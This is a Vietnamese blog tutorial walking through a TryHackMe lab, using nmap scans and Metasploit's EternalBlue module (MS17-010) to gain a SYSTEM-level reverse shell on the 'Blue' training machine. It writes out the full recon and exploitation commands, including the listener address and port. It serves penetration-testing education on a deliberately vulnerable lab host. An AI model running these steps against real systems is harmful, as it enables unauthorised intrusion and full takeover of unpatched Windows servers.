Windows Pentest Căn Bản – Ứng dụng Metasploit khai thác lỗ hổng MS17-010

Xin chào,

Cũng đã hơn 4 tháng rồi mình mới gặp lại các bạn. Trong bài hôm nay chúng ta sẽ cùng nhau tìm hiểu lỗ hổng MS17-010, và ứng dụng Metasploit để khai thác lỗ hổng này nhằm xâm nhập và chiếm quyền kiểm soát hoàn toàn server Blue trên TryHackMe nhé.

Các bạn lưu ý, bài này không dành cho các bạn lần đầu tiên sử dụng TryHackMe hay chưa biết gì về Penetration Testing. Nếu bạn là một trong 2 trường hợp trên, thì bạn vui lòng sử dụng các đường link bên dưới trước khi đọc bài nhé.

Nếu các bạn đã quen với server TryHackMe và quy trình Penetration Testing, thì các bạn join vào server Blue tại đây nhé.


1 – Performing reconnaissance (Thu thập thông tin từ bên ngoài)

1A – Kiểm tra kết nối

Sau khi khởi động phòng Blue và chờ đợi trong 2 phút, chúng ta sẽ có được địa chỉ IP của phòng Blue như bên dưới

Tự học hacking
H1A.1

Chúng ta sẽ thử ping đến server Blue xem sao nhé

Tự học hacking
H1A.2

Ping thành công. Máy Kali Linux và server Blue có thể giao tiếp với nhau. Chúng ta sẽ bắt đầu thực hiện Nmap scans nhé.

1B – Nmap scans

Scan tất cả các TCP ports của server Blue

sudo nmap -vv -Pn -T4 -p- -oN tcp-scan 10.10.42.192
Tự học hacking
H1B.1
Tự học hacking
H1B.2

Chúng ta tìm được 9 ports TCP đang mở trên server Blue.

Scan tất cả các UDP ports của server Blue

sudo nmap -vv -Pn -T4 -sU -oN udp-scan 10.10.42.192
Tự học hacking
H1B.3
Tự học hacking
H1B.4

Tất cả các port UDP đều đã bị tường lửa chặn.

Scan services’ version, hệ điều hành của và chạy script tìm lỗi:

Dựa vào kết quả của 2 phần Nmap scans trên, chúng ta sẽ chạy câu lệnh sau

sudo nmap -vv -Pn -T4 -p 135,139,445,3389,49152,49153,49154,49158,49159 -sC -sV -O -oN script-scan 10.10.42.192
Tự học hacking
H1B.5

Chúng ta được kết quả như sau

Tự học hacking
H1B.6

Do kết quả trả về không cung cấp thêm bất cứ gợi ý nào, nên mình sẽ chạy thêm một Nmap scan nữa nhưng lần này mình sẽ sử dụng Nmap Script Engine (NSE) mang tên Vuln để scan tất cả các ports đang mở trên server Blue nhằm xác định xem các dịch vụ này có bị dính lỗi bảo mật nghiêm trọng nào không.

sudo nmap -vv -Pn -T4 --script vuln 10.10.42.192

Kết quả trả về cho ta thấy, có khả năng server Blue bị dính lỗ hổng bảo mật MS17-010 (CVE 2017-0143).

Tự học hacking
H1B.7

Ms17-010 như mô tả trong phần kết quả Nmap scan là một lỗ hổng xuất phát từ server SMBv1 của Windows và SMB thường sử dụng port 139 hoặc 445 (bạn nào quên thì xem lại bài sau nhé).

1C – Metasploit

Để chắc chắn, chúng ta sẽ sử dụng Metasploit để kiểm tra lại server Blue một lần nữa để chắc chắn rằng server Blue có dính lỗi MS17-010 hay không?

Chúng ta sẽ chạy loạt câu lệnh sau (bạn nào quên thì xem lại bài này nhé)

sudo su
systemctl start postgresql
msfdb init
msfconsole

Chúng ta sẽ được giao diện như sau

Tự học hacking
H1C.1

Tiếp đến chúng ta sẽ sử dụng câu lệnh bên dưới để đi đến module phát hiện lỗ hổng MS17-010 của Metasploit.

use auxiliary/scanner/smb/smb_ms17_010

Dùng lệnh options để kiểm tra các giá trị của module

options
Tự học hacking
H1C.2

Chúng ta sẽ gán địa chỉ IP của server Blue vào giá trị RHOSTS

set RHOSTS 10.10.42.192

Sau đó chúng ta chạy lệnh run

run

Và chúng ta có được kết quả sau

Tự học hacking
H1C.3

Đến lúc này, chúng ta đã có thể chắc chắn 90% rằng server Blue dính lỗ hổng bảo mật MS17-10.

2 – Exploiting vulnerabilities (Tiến hành xâm nhập)

2A – Lỗ hổng MS17-010, CVE 2017-0143 hay EternalBlue là gì?

Lỗ hổng MS17-010 hay còn được gọi là lỗ hổng EternalBlue là một lỗ hổng bảo mật nhắm đến dịch vụ SMBv1 chạy trên các hệ thống Windows; trải dài từ Windows XP cho đến tận Windows 10 version 1607. Các bạn có thể xem danh sách của các hệ điều hành Windows dính phải lỗ hổng này tại đây.

Nói một cách dễ hiểu nhất, các hệ thống chạy Windows thường sử dụng giao thức SMB để giao tiếp hoặc kết nối với nhau cho mục đích truy cập file dữ liệu được lưu ở một server nào đó trong mạng, hoặc kết nối đến các thiết bị như máy in ở trong mạng.

Lỗ hổng MS17-010 lợi dụng cơ chếxử lý sai các gói tin không bình thường của giao thức SMBv1, vốn được sử dụng rộng rãi trên gần như tất cả hệ điều hành Windows từ XP đến Windows 10 version 1607, để tiến hành xâm nhập vào hệ thống mục tiêu.

Nếu bạn có kiến thức về kiến trúc máy và về buffer overflow, bạn có thể tham khảo thêm cách lỗ hổng MS17-010 hoạt động tại đây.

Ransomware WannaCry khét tiếng năm 2017 đã lợi dụng lỗ hổng MS17-010 này để tấn công các hệ thống chưa được vá lỗi và lây lan ra toàn thế giới.

2B – Tiến hành xâm nhập server Blue bằng Metasploit

Trên Metasploit chúng ta sẽ dùng lệnh search để tìm module tấn công MS17-010.

search ms17-010
Tự học hacking
H2B.1

Chúng ta sẽ sử dụng module số 0 mang tên exploit/windows/smb/ms17_010_eternalblue

use 0

Sau đó, chúng ta cần kiểm tra các giá trị của module này với lệnh options

options
Tự học hacking
H2B.2

Có 3 giá trị mà chúng ta cần phải thay đổi đó là RHOST, LHOST và LPORT.

Với RHOST, chúng ta sẽ gán cho nó IP của server Blue

set RHOST 10.10.42.192

Với LHOST, chúng ta sẽ gán cho nó IP (tun0) của máy Kali.

set LHOST 10.2.56.144 

Để lấy giá trị IP của máy Kali, các bạn dùng câu lệnh sau

ifconfig
Tự học hacking
H2B.3

Với LPORT, chúng ta sẽ gán cho nó giá trị 8888

set LPORT 8888
H2B.4

Sau khi gán xong, chúng ta có thể dùng lệnh options để kiểm tra lại các giá trị đã gán. Nếu tất cả các giá trị đều chính xác chúng ta sẽ chạy lệnh run để tấn công server Blue.

run
H2B.5

Chúng ta sẽ đợi khoản tầm vài phút để Metasploit tự động tấn công server Blue, nếu bạn được như hình bên dưới nghĩa là bạn đã tấn công thành công.

Tự học Hacking
H2B.6

Trong Meterpreter shell, các bạn dùng lệnh shell để chuyển qua shell điều khiển hệ thống Windows từ xa.

shell

Bằng câu lệnh whoami, chúng ta biết được chúng ta đã có được quyền quản trị cao nhất của server Blue.

whoami
H2B.7

3 – Thử thách

Các bạn hãy vận dụng kiến thức của bài hôm nay đi kèm với phần hướng dẫn của TryHackMe và kiến thức đã học ở series Kali Linux Căn Bản kết hợp với tra cứu Google để chinh phục phòng Blue này nhé.


Các bạn thấy bài học hôm nay thế nào? Nếu bạn muốn học cách sử dụng Metaspliot một cách thành thạo để pentest hệ thống Linux và Windows thì hãy tham khảo thử khóa học của bên mình tại đây nhé.

Chúc các bạn học tốt,

Vincent Nguyễn

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s